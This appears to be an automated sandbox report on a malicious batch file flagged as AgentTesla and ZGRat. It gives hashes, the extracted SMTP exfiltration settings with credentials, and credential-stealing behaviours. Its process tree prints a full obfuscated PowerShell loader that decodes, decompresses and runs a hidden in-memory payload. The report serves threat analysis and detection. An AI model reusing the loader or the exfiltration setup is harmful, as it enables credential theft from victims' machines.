Analysis
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max time kernel
125s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
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submitted
15-05-2024 10:56
General
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Target
Xlrfx.bat
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Size
2.5MB
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MD5
044b5f7f1996339fb95ab61afe9ce63b
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SHA1
9b1ad4a81ae03ebb25d252eb12473dfe667af900
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SHA256
c8b23374cfaebcceb230474be736c7d7c012c073a9c253bcf3dec1a26c920079
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SHA512
77faaa93f02be4925d7238b63bc3651525f4438f70231173944aa71c1dc3429cbc9905cdaaf7eec454bd08f7e12b81424cf6db4021615e52a79635078817d948
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SSDEEP
49152:Bio8vLA4esjKTI2VerQB+Mctxbqrhl8ManSazNv:o
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.qvise.com - Port:
587 - Username:
[email protected] - Password:
Qvise@45450# - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Detect ZGRat V1 34 IoCs
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ZGRat
ZGRat is remote access trojan written in C#.
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Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
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Executes dropped EXE 1 IoCs
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Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
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Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 2 IoCs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of SetThreadContext 1 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of WriteProcessMemory 17 IoCs
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Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg2⤵
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C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg2⤵
- Sets file to hidden
- Views/modifies file attributes
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C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.NsgC:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg -WindowStyle hidden -command "$Eshusr = Get-Content 'C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat' | select-object -Last 1; $Yhyoxigy = [System.Convert]::FromBase64String($Eshusr);$Uneafks = New-Object System.IO.MemoryStream( , $Yhyoxigy );$Iaohomn = New-Object System.IO.MemoryStream;$Bydqksifw = New-Object System.IO.Compression.GzipStream $Uneafks, ([IO.Compression.CompressionMode]::Decompress);$Bydqksifw.CopyTo( $Iaohomn );$Bydqksifw.Close();$Uneafks.Close();[byte[]] $Yhyoxigy = $Iaohomn.ToArray();[Array]::Reverse($Yhyoxigy); $Pbdppxx = [System.Threading.Thread]::GetDomain().Load($Yhyoxigy); $Izgbjcqwat = $Pbdppxx.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3416,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=4320 /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
-
Filesize
216KB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
4.5MB
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Filesize
2.2MB
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Filesize
584KB
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Filesize
2.2MB
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Filesize
2.2MB
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Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
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Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
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Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
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Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
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Filesize
2.2MB
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Filesize
2.2MB
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Filesize
2.2MB
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Filesize
2.2MB
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Filesize
7.7MB
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Filesize
304KB
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Filesize
432KB
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Filesize
4KB
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Filesize
7.7MB
-
Filesize
7.7MB
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Filesize
7.7MB
-
Filesize
336KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
264KB
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Filesize
7.7MB
-
Filesize
320KB
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Filesize
40KB
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Filesize
7.7MB